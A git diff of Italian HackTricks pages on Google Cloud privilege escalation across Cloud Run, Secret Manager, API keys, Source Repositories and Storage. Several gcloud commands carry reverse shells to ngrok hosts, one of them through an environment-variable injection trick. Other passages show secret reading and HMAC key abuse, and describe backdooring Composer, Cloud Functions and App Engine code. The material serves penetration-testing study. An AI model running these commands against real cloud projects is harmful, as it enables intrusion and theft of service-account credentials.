- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - Esegui Privesc
|
||||
# GCP - Run Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Run
|
||||
|
||||
Per ulteriori informazioni su Cloud Run controlla:
|
||||
Per maggiori informazioni su Cloud Run consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
@@ -12,15 +12,18 @@ Per ulteriori informazioni su Cloud Run controlla:
|
||||
|
||||
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
|
||||
|
||||
Un attaccante con questi permessi per **creare un servizio run che esegue codice arbitrario** (contenitore Docker arbitrario), allegare un Service Account ad esso e far sì che il codice **esfiltri il token del Service Account dai metadati**.
|
||||
Un attacker con queste autorizzazioni può **create a run service running arbitrary code** (arbitrary Docker container), associare un Service Account ad esso e fare in modo che il codice **exfiltrate the Service Account token from the metadata**.
|
||||
|
||||
Uno script di exploit per questo metodo può essere trovato [qui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) e l'immagine Docker può essere trovata [qui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
|
||||
Uno script di exploit per questo metodo è disponibile [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) e l'immagine Docker è disponibile [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
|
||||
|
||||
Nota che quando si utilizza `gcloud run deploy` invece di creare semplicemente il servizio **ha bisogno del permesso `update`**. Controlla un [**esempio qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
Nota che quando si usa `gcloud run deploy` invece di creare semplicemente il servizio **è necessario il permesso `update`**. Vedi un [**esempio qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
|
||||
### `run.services.update` , `iam.serviceAccounts.actAs`
|
||||
|
||||
Come il precedente ma aggiornando un servizio:
|
||||
|
||||
<details>
|
||||
<summary>Distribuire un servizio Cloud Run con reverse shell</summary>
|
||||
```bash
|
||||
# Launch some web server to listen in port 80 so the service works
|
||||
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
|
||||
@@ -36,13 +39,18 @@ gcloud run deploy hacked \
|
||||
|
||||
# If you don't have permissions to use "--allow-unauthenticated", dont use it
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.services.setIamPolicy`
|
||||
|
||||
Concediti permessi precedenti su cloud Run.
|
||||
Concediti permessi privilegiati su Cloud Run.
|
||||
|
||||
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
Avvia un lavoro con una reverse shell per rubare l'account di servizio indicato nel comando. Puoi trovare un [**exploit qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
|
||||
Avvia un job con una reverse shell per rubare il service account indicato nel comando. Puoi trovare un [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
|
||||
|
||||
<details>
|
||||
<summary>Create Cloud Run job with reverse shell</summary>
|
||||
```bash
|
||||
gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--image=ubuntu:latest \
|
||||
@@ -52,9 +60,14 @@ gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--region=us-central1
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
Simile al precedente, è possibile **aggiornare un lavoro e aggiornare il SA**, il **comando** e **eseguirlo**:
|
||||
Analogamente al caso precedente, è possibile **aggiornare un job modificando la SA**, il **comando** e **eseguirlo**:
|
||||
|
||||
<details>
|
||||
<summary>Aggiornare il job di Cloud Run ed eseguirlo con reverse shell</summary>
|
||||
```bash
|
||||
gcloud beta run jobs update hacked \
|
||||
--image=mubuntu:latest \
|
||||
@@ -64,16 +77,23 @@ gcloud beta run jobs update hacked \
|
||||
--region=us-central1 \
|
||||
--execute-now
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.setIamPolicy`
|
||||
|
||||
Concediti i permessi precedenti sui Cloud Jobs.
|
||||
Concediti le autorizzazioni precedenti su Cloud Jobs.
|
||||
|
||||
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
|
||||
|
||||
Abusa delle variabili ambientali di un'esecuzione di lavoro per eseguire codice arbitrario e ottenere una reverse shell per scaricare i contenuti del container (codice sorgente) e accedere al SA all'interno dei metadati:
|
||||
Abusa delle variabili d'ambiente di un'esecuzione di job per eseguire codice arbitrario e ottenere una reverse shell per eseguire il dump del contenuto del container (codice sorgente) e accedere al SA nei metadati:
|
||||
|
||||
<details>
|
||||
<summary>Esegui un job Cloud Run sfruttando variabili d'ambiente</summary>
|
||||
```bash
|
||||
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
|
||||
```
|
||||
</details>
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
+11
-3
@@ -4,7 +4,7 @@
|
||||
|
||||
## secretmanager
|
||||
|
||||
Per ulteriori informazioni su secretmanager:
|
||||
Per maggiori informazioni su secretmanager:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
@@ -12,11 +12,15 @@ Per ulteriori informazioni su secretmanager:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
Questo ti dà accesso per leggere i segreti dal secret manager e forse questo potrebbe aiutare a escalare i privilegi (a seconda delle informazioni memorizzate all'interno del segreto):
|
||||
Questo ti consente di leggere i secrets dal secret manager e potrebbe aiutare a scalare i privilegi (a seconda delle informazioni memorizzate all'interno del secret):
|
||||
|
||||
<details><summary>Ottieni la versione del secret in chiaro</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
</details>
|
||||
|
||||
Poiché questa è anche una tecnica di post exploitation, può essere trovata in:
|
||||
|
||||
{{#ref}}
|
||||
@@ -25,10 +29,14 @@ Poiché questa è anche una tecnica di post exploitation, può essere trovata in
|
||||
|
||||
### `secretmanager.secrets.setIamPolicy`
|
||||
|
||||
Questo ti dà accesso per leggere i segreti dal secret manager, come usare:
|
||||
Questo ti consente di leggere i secrets dal Secret Manager, ad esempio usando:
|
||||
|
||||
<details><summary>Aggiungi binding di policy IAM al secret</summary>
|
||||
```bash
|
||||
gcloud secrets add-iam-policy-binding <scret-name> \
|
||||
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+19
-11
@@ -4,11 +4,11 @@
|
||||
|
||||
## serviceusage
|
||||
|
||||
I seguenti permessi sono utili per creare e rubare chiavi API, non dimenticare questo dai documenti: _Una chiave API è una semplice stringa crittografata che **identifica un'applicazione senza alcun principale**. Sono utili per accedere a **dati pubblici in modo anonimo**, e vengono utilizzate per **associare** le richieste API con il tuo progetto per quota e **fatturazione**._
|
||||
I permessi seguenti sono utili per creare e rubare API keys. Nota dalla documentazione: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._
|
||||
|
||||
Pertanto, con una chiave API puoi far pagare quella azienda per il tuo utilizzo dell'API, ma non sarai in grado di elevare i privilegi.
|
||||
Pertanto, con un API key puoi far pagare all'azienda il tuo utilizzo dell'API, ma non potrai escalare i privilegi.
|
||||
|
||||
Per conoscere altri permessi e modi per generare chiavi API controlla:
|
||||
Per conoscere altri permessi e modi per generare API keys controlla:
|
||||
|
||||
{{#ref}}
|
||||
gcp-apikeys-privesc.md
|
||||
@@ -16,19 +16,27 @@ gcp-apikeys-privesc.md
|
||||
|
||||
### `serviceusage.apiKeys.create`
|
||||
|
||||
È stata trovata un'API non documentata che può essere utilizzata per **creare chiavi API:**
|
||||
Un'API non documentata è stata trovata che può essere usata per **create API keys:**
|
||||
|
||||
<details><summary>Creare API key usando un'API non documentata</summary>
|
||||
```bash
|
||||
curl -XPOST "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `serviceusage.apiKeys.list`
|
||||
|
||||
È stata trovata un'altra API non documentata per elencare le chiavi API che sono già state create (le chiavi API appaiono nella risposta):
|
||||
È stata trovata un'altra API non documentata per elencare le API keys già create (le API keys appaiono nella risposta):
|
||||
|
||||
<details><summary>Elencare API keys usando un'API non documentata</summary>
|
||||
```bash
|
||||
curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
|
||||
```
|
||||
</details>
|
||||
|
||||
### **`serviceusage.services.enable`** , **`serviceusage.services.use`**
|
||||
|
||||
Con queste autorizzazioni un attaccante può abilitare e utilizzare nuovi servizi nel progetto. Questo potrebbe consentire a un **attaccante di abilitare servizi come admin o cloudidentity** per cercare di accedere alle informazioni di Workspace, o ad altri servizi per accedere a dati interessanti.
|
||||
Con queste autorizzazioni un attaccante può abilitare e utilizzare nuovi servizi nel progetto. Questo potrebbe permettere a un **attaccante di abilitare servizi come admin o cloudidentity** per tentare di accedere alle informazioni di Workspace, o altri servizi per accedere a dati interessanti.
|
||||
|
||||
## **Riferimenti**
|
||||
|
||||
@@ -38,15 +46,15 @@ Con queste autorizzazioni un attaccante può abilitare e utilizzare nuovi serviz
|
||||
|
||||
<summary><strong>Sostieni HackTricks e ottieni vantaggi!</strong></summary>
|
||||
|
||||
Lavori in una **società di cybersecurity**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? O vuoi avere accesso alla **versione più recente del PEASS o scaricare HackTricks in PDF**? Controlla i [**Piani di Abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
Lavori in una **cybersecurity company**? Vuoi vedere la tua **company pubblicizzata in HackTricks**? oppure vuoi avere accesso alla **latest version of the PEASS or download HackTricks in PDF**? Controlla i [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
Ottieni il [**merchandise ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
Acquista lo [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
**Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
**Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) o al [**telegram group**](https://t.me/peass) oppure **seguimi** su **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
**Condividi i tuoi trucchi di hacking inviando PR al** [**repository github di hacktricks**](https://github.com/carlospolop/hacktricks)\*\*\*\*
|
||||
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
|
||||
|
||||
**.**
|
||||
|
||||
|
||||
+33
-21
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Repository di origine
|
||||
## Source Repositories
|
||||
|
||||
Per ulteriori informazioni sui Repository di origine controlla:
|
||||
Per maggiori informazioni su Source Repositories consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-source-repositories-enum.md
|
||||
@@ -13,67 +13,79 @@ Per ulteriori informazioni sui Repository di origine controlla:
|
||||
### `source.repos.get`
|
||||
|
||||
Con questo permesso è possibile scaricare il repository localmente:
|
||||
|
||||
<details><summary>Clone source repository</summary>
|
||||
```bash
|
||||
gcloud source repos clone <repo-name> --project=<project-uniq-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `source.repos.update`
|
||||
|
||||
Un principale con questo permesso **sarà in grado di scrivere codice all'interno di un repository clonato con `gcloud source repos clone <repo>`**. Ma nota che questo permesso non può essere assegnato a ruoli personalizzati, quindi deve essere dato tramite un ruolo predefinito come:
|
||||
Un principal con questo permesso **potrà scrivere codice all'interno di un repository clonato con `gcloud source repos clone <repo>`**. Nota però che questo permesso non può essere associato a ruoli custom, quindi deve essere concesso tramite un ruolo predefinito come:
|
||||
|
||||
- Proprietario
|
||||
- Owner
|
||||
- Editor
|
||||
- Amministratore del Repository Sorgente (`roles/source.admin`)
|
||||
- Scrittore del Repository Sorgente (`roles/source.writer`)
|
||||
- Source Repository Administrator (`roles/source.admin`)
|
||||
- Source Repository Writer (`roles/source.writer`)
|
||||
|
||||
Per scrivere, basta eseguire un normale **`git push`**.
|
||||
Per scrivere esegui semplicemente un normale **`git push`**.
|
||||
|
||||
### `source.repos.setIamPolicy`
|
||||
|
||||
Con questo permesso un attaccante potrebbe concedere a se stesso i permessi precedenti.
|
||||
Con questo permesso un attacker potrebbe concedersi i permessi precedenti.
|
||||
|
||||
### Accesso ai segreti
|
||||
### Accesso ai secret
|
||||
|
||||
Se l'attaccante ha **accesso ai segreti** dove sono memorizzati i token, sarà in grado di rubarli. Per ulteriori informazioni su come accedere a un segreto, controlla:
|
||||
Se l'attacker ha **accesso ai secret** dove sono memorizzati i token, potrà rubarli. Per maggiori informazioni su come accedere a un secret controlla:
|
||||
|
||||
{{#ref}}
|
||||
gcp-secretmanager-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Aggiungi chiavi SSH
|
||||
### Aggiungere chiavi SSH
|
||||
|
||||
È possibile **aggiungere chiavi ssh al progetto del Repository Sorgente** nella console web. Viene effettuata una richiesta post a **`/v1/sshKeys:add`** e può essere configurata in [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys)
|
||||
È possibile **aggiungere chiavi SSH al progetto Source Repository** nella web console. Fa una richiesta POST a **`/v1/sshKeys:add`** e può essere configurato in [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys)
|
||||
|
||||
Una volta impostata la tua chiave ssh, puoi accedere a un repo con:
|
||||
Una volta che la tua chiave SSH è impostata, puoi accedere a un repo con:
|
||||
|
||||
<details><summary>Clonare il repository usando SSH</summary>
|
||||
```bash
|
||||
git clone ssh://username@domain.com@source.developers.google.com:2022/p/<proj-name>/r/<repo-name>
|
||||
```
|
||||
E poi usa i comandi **`git`** come al solito.
|
||||
</details>
|
||||
|
||||
### Credenziali Manuali
|
||||
E poi usare i comandi **`git`** come al solito.
|
||||
|
||||
È possibile creare credenziali manuali per accedere ai Repository Sorgente:
|
||||
### Credenziali manuali
|
||||
|
||||
È possibile creare credenziali manuali per accedere a Source Repositories:
|
||||
|
||||
<figure><img src="../../../images/image (324).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Cliccando sul primo link verrai indirizzato a [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3)
|
||||
|
||||
Questo mostrerà un **prompt di autorizzazione Oauth** per dare accesso a **Google Cloud Development**. Quindi avrai bisogno o delle **credenziali dell'utente** o di una **sessione aperta nel browser** per questo.
|
||||
Questo mostrerà una **finestra di autorizzazione OAuth** per dare accesso a **Google Cloud Development**. Quindi ti serviranno o le **credenziali dell'utente** o una **sessione aperta nel browser**.
|
||||
|
||||
Questo ti porterà a una pagina con uno **script bash da eseguire** e configurare un cookie git in **`$HOME/.gitcookies`**
|
||||
Questo ti porterà a una pagina con uno **script bash da eseguire** che configurerà un git cookie in **`$HOME/.gitcookies`**
|
||||
|
||||
<figure><img src="../../../images/image (323).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Eseguendo lo script puoi quindi usare git clone, push... e funzionerà.
|
||||
Eseguendo lo script potrai poi usare git clone, push... e funzionerà.
|
||||
|
||||
### `source.repos.updateProjectConfig`
|
||||
|
||||
Con questo permesso è possibile disabilitare la protezione predefinita dei Repository Sorgente per non caricare codice contenente Chiavi Private:
|
||||
Con questo permesso è possibile disabilitare la protezione predefinita di Source Repositories che impedisce di caricare codice contenente chiavi private:
|
||||
|
||||
<details><summary>Disabilitare pushblock e modificare la configurazione pub/sub</summary>
|
||||
```bash
|
||||
gcloud source project-configs update --disable-pushblock
|
||||
```
|
||||
Puoi anche configurare un argomento pub/sub diverso o addirittura disabilitarlo completamente:
|
||||
Puoi anche configurare un diverso pub/sub topic o addirittura disabilitarlo completamente:
|
||||
```bash
|
||||
gcloud source project-configs update --remove-topic=REMOVE_TOPIC
|
||||
gcloud source project-configs update --remove-topic=UPDATE_TOPIC
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,18 +12,18 @@ Informazioni di base:
|
||||
|
||||
### `storage.objects.get`
|
||||
|
||||
Questo permesso ti consente di **scaricare file memorizzati all'interno di Cloud Storage**. Questo potrebbe potenzialmente consentirti di elevare i privilegi perché in alcune occasioni **informazioni sensibili sono salvate lì**. Inoltre, alcuni servizi GCP memorizzano le loro informazioni in bucket:
|
||||
Questa permission ti permette di **download files stored inside Cloud Storage**. Questo può potenzialmente consentire escalation di privilegi perché in alcune occasioni **sensitive information is saved there**. Inoltre, alcuni servizi GCP salvano le loro informazioni in buckets:
|
||||
|
||||
- **GCP Composer**: Quando crei un Ambiente Composer, il **codice di tutti i DAG** sarà salvato all'interno di un **bucket**. Questi compiti potrebbero contenere informazioni interessanti all'interno del loro codice.
|
||||
- **GCR (Container Registry)**: L'**immagine** dei container è memorizzata all'interno di **bucket**, il che significa che se puoi leggere i bucket sarai in grado di scaricare le immagini e **cercare leak e/o codice sorgente**.
|
||||
- **GCP Composer**: Quando crei un Composer Environment il **codice di tutti i DAGs** sarà salvato dentro un **bucket**. Questi task potrebbero contenere informazioni interessanti nel loro codice.
|
||||
- **GCR (Container Registry)**: le **image** dei container sono memorizzate dentro **buckets**, il che significa che se puoi leggere i buckets potrai scaricare le image e **cercare leak e/o codice sorgente**.
|
||||
|
||||
### `storage.objects.setIamPolicy`
|
||||
|
||||
Puoi darti il permesso di **abusare di uno qualsiasi degli scenari precedenti di questa sezione**.
|
||||
Questa permission ti permette di abusare di uno qualsiasi degli scenari precedenti in questa sezione.
|
||||
|
||||
### **`storage.buckets.setIamPolicy`**
|
||||
|
||||
Per un esempio su come modificare i permessi con questo permesso, controlla questa pagina:
|
||||
Per un esempio su come modificare i permessi con questa permission controlla questa pagina:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
|
||||
@@ -31,7 +31,9 @@ Per un esempio su come modificare i permessi con questo permesso, controlla ques
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
La funzione di "interoperabilità" di Cloud Storage, progettata per **interazioni cross-cloud** come con AWS S3, prevede la **creazione di chiavi HMAC per Account di Servizio e utenti**. Un attaccante può sfruttare questo generando una chiave HMAC per un Account di Servizio con privilegi elevati, aumentando così **i privilegi all'interno di Cloud Storage**. Mentre le chiavi HMAC associate agli utenti sono recuperabili solo tramite la console web, sia le chiavi di accesso che quelle segrete rimangono **perpetuamente accessibili**, consentendo un potenziale accesso di backup. Al contrario, le chiavi HMAC collegate agli Account di Servizio sono accessibili tramite API, ma le loro chiavi di accesso e segrete non sono recuperabili dopo la creazione, aggiungendo un ulteriore livello di complessità per l'accesso continuo.
|
||||
La feature "interoperability" di Cloud Storage, progettata per le **cross-cloud interactions** come con AWS S3, comporta la **creazione di HMAC keys per Service Accounts e utenti**. Un attaccante può sfruttare questo generando una HMAC key per un Service Account con privilegi elevati, elevando così i privilegi all'interno di Cloud Storage. Mentre le HMAC keys associate a utenti sono recuperabili solo tramite la web console, sia l'access che la secret key restano **permanentemente accessibili**, permettendo possibili backup per lo storage dell'accesso. Al contrario, le HMAC keys legate ai Service Account sono accessibili via API, ma le loro access e secret keys non sono recuperabili dopo la creazione, aggiungendo un livello di complessità per l'accesso continuo.
|
||||
|
||||
<details><summary>Create and use HMAC key for privilege escalation</summary>
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
|
||||
@@ -61,54 +63,56 @@ gsutil ls gs://[BUCKET_NAME]
|
||||
# Restore
|
||||
gcloud config set pass_credentials_to_gsutil true
|
||||
```
|
||||
Un altro script di exploit per questo metodo può essere trovato [qui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
</details>
|
||||
|
||||
## `storage.objects.create`, `storage.objects.delete` = Permessi di scrittura su Storage
|
||||
Un altro script di exploit per questo metodo può essere trovato [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
|
||||
Per **creare un nuovo oggetto** all'interno di un bucket hai bisogno di `storage.objects.create` e, secondo [la documentazione](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), hai anche bisogno di `storage.objects.delete` per **modificare** un oggetto esistente.
|
||||
### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
|
||||
|
||||
Un'**esploitazione molto comune** dei bucket in cui puoi scrivere nel cloud è nel caso in cui il **bucket stia salvando file del server web**, potresti essere in grado di **memorizzare nuovo codice** che sarà utilizzato dall'applicazione web.
|
||||
Per poter **creare un nuovo oggetto** dentro un bucket serve `storage.objects.create` e, secondo [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), serve anche `storage.objects.delete` per **modificare** un oggetto esistente.
|
||||
|
||||
Una **sfruttamento molto comune** dei bucket scrivibili è quando il **bucket salva file del web server**: potresti essere in grado di **caricare nuovo codice** che verrà usato dall'applicazione web.
|
||||
|
||||
### Composer
|
||||
|
||||
**Composer** è **Apache Airflow** gestito all'interno di GCP. Ha diverse funzionalità interessanti:
|
||||
**Composer** è **Apache Airflow** gestito in GCP. Ha diverse caratteristiche interessanti:
|
||||
|
||||
- Funziona all'interno di un **cluster GKE**, quindi il **SA utilizzato dal cluster è accessibile** dal codice in esecuzione all'interno di Composer
|
||||
- Tutti i componenti di un ambiente composer (**codice dei DAG**, plugin e dati) sono memorizzati all'interno di un bucket GCP. Se l'attaccante ha permessi di lettura e scrittura su di esso, potrebbe monitorare il bucket e **ogni volta che un DAG viene creato o aggiornato, inviare una versione con backdoor** in modo che l'ambiente composer ottenga dalla storage la versione con backdoor.
|
||||
- Esegue all'interno di un **GKE cluster**, quindi la **SA usata dal cluster è accessibile** dal codice che gira dentro Composer
|
||||
- Tutti i componenti di un ambiente Composer (**code of DAGs**, plugin e dati) sono memorizzati dentro un bucket GCP. Se l'attaccante ha permessi di lettura e scrittura su di esso, può monitorare il bucket e **ogni volta che viene creato o aggiornato un DAG, sottomettere una versione backdoored** così l'ambiente Composer prenderà dalla storage la versione backdoored.
|
||||
|
||||
**Puoi trovare una PoC di questo attacco nel repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
|
||||
### Cloud Functions
|
||||
|
||||
- Il codice delle Cloud Functions è memorizzato in Storage e ogni volta che viene creata una nuova versione, il codice viene inviato al bucket e poi il nuovo container viene costruito da questo codice. Pertanto, **sovrascrivere il codice prima che venga costruita la nuova versione rende possibile far eseguire alla funzione cloud codice arbitrario**.
|
||||
- Il codice di Cloud Functions è salvato in Storage e ogni volta che viene creata una nuova versione il codice viene pushato nel bucket e poi dal codice viene buildato il nuovo container. Di conseguenza, **sovrascrivendo il codice prima che la nuova versione venga buildata è possibile far eseguire codice arbitrario alla cloud function**.
|
||||
|
||||
**Puoi trovare una PoC di questo attacco nel repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
|
||||
### App Engine
|
||||
|
||||
Le versioni di AppEngine generano alcuni dati all'interno di un bucket con il formato nome: `staging.<project-id>.appspot.com`. All'interno di questo bucket, è possibile trovare una cartella chiamata `ae` che conterrà una cartella per ogni versione dell'app AppEngine e all'interno di queste cartelle sarà possibile trovare il file `manifest.json`. Questo file contiene un json con tutti i file che devono essere utilizzati per creare la versione specifica. Inoltre, è possibile trovare i **nomi reali dei file, l'URL ad essi all'interno del bucket GCP (i file all'interno del bucket hanno cambiato nome per il loro hash sha1) e l'hash sha1 di ciascun file.**
|
||||
Le versioni di AppEngine generano alcuni dati dentro un bucket con il formato nome: `staging.<project-id>.appspot.com`. Dentro questo bucket è possibile trovare una cartella chiamata `ae` che conterrà una cartella per ogni versione dell'app AppEngine e all'interno di queste cartelle si può trovare il file `manifest.json`. Questo file contiene un json con tutti i file che devono essere usati per creare la specifica versione. Inoltre, è possibile trovare i **nomi reali dei file, l'URL a essi dentro il bucket GCP (i file nel bucket cambiano nome con il loro sha1 hash) e lo sha1 hash di ciascun file.**
|
||||
|
||||
_Nota che non è possibile pre-prendere il controllo di questo bucket perché gli utenti GCP non sono autorizzati a generare bucket utilizzando il nome di dominio appspot.com._
|
||||
_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
|
||||
|
||||
Tuttavia, con accesso in lettura e scrittura su questo bucket, è possibile elevare i privilegi al SA associato alla versione di App Engine monitorando il bucket e ogni volta che viene eseguita una modifica (nuova versione), modificare la nuova versione il più rapidamente possibile. In questo modo, il container che viene creato da questo codice eseguirà il codice con backdoor.
|
||||
Tuttavia, con accesso di lettura e scrittura su questo bucket è possibile scalare privilegi all'SA collegato alla versione di App Engine monitorando il bucket e ogni volta che viene effettuata una modifica (nuova versione), modificare la nuova versione il più rapidamente possibile. In questo modo il container creato da quel codice eseguirà il codice backdoored.
|
||||
|
||||
L'attacco menzionato può essere eseguito in molti modi diversi, tutti iniziano monitorando il bucket `staging.<project-id>.appspot.com`:
|
||||
L'attacco menzionato può essere eseguito in molti modi diversi; tutti iniziano monitorando il bucket `staging.<project-id>.appspot.com`:
|
||||
|
||||
- Carica il nuovo codice completo della versione di AppEngine su un bucket diverso e disponibile e prepara un **file `manifest.json` con il nuovo nome del bucket e gli hash sha1 di essi**. Poi, quando viene creata una nuova versione all'interno del bucket, devi solo modificare il file `manifest.json` e caricare quello malevolo.
|
||||
- Carica una versione modificata di `requirements.txt` che utilizzerà il **codice delle dipendenze malevole e aggiorna il file `manifest.json`** con il nuovo nome del file, URL e l'hash di esso.
|
||||
- Carica un **file `main.py` o `app.yaml` modificato che eseguirà il codice malevolo** e aggiorna il file `manifest.json` con il nuovo nome del file, URL e l'hash di esso.
|
||||
- Caricare il codice completo della nuova versione di AppEngine in un bucket diverso e disponibile e preparare un file **`manifest.json` con il nuovo nome del bucket e gli sha1 hash** dei file. Quando viene creata una nuova versione nel bucket, basta modificare il `manifest.json` e caricare quello maligno.
|
||||
- Caricare una versione modificata di `requirements.txt` che userà dipendenze malevole e aggiornare il `manifest.json` con il nuovo filename, URL e hash.
|
||||
- Caricare un **`main.py` o `app.yaml` modificato che eseguirà il codice maligno** e aggiornare il `manifest.json` con il nuovo filename, URL e hash.
|
||||
|
||||
**Puoi trovare una PoC di questo attacco nel repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
|
||||
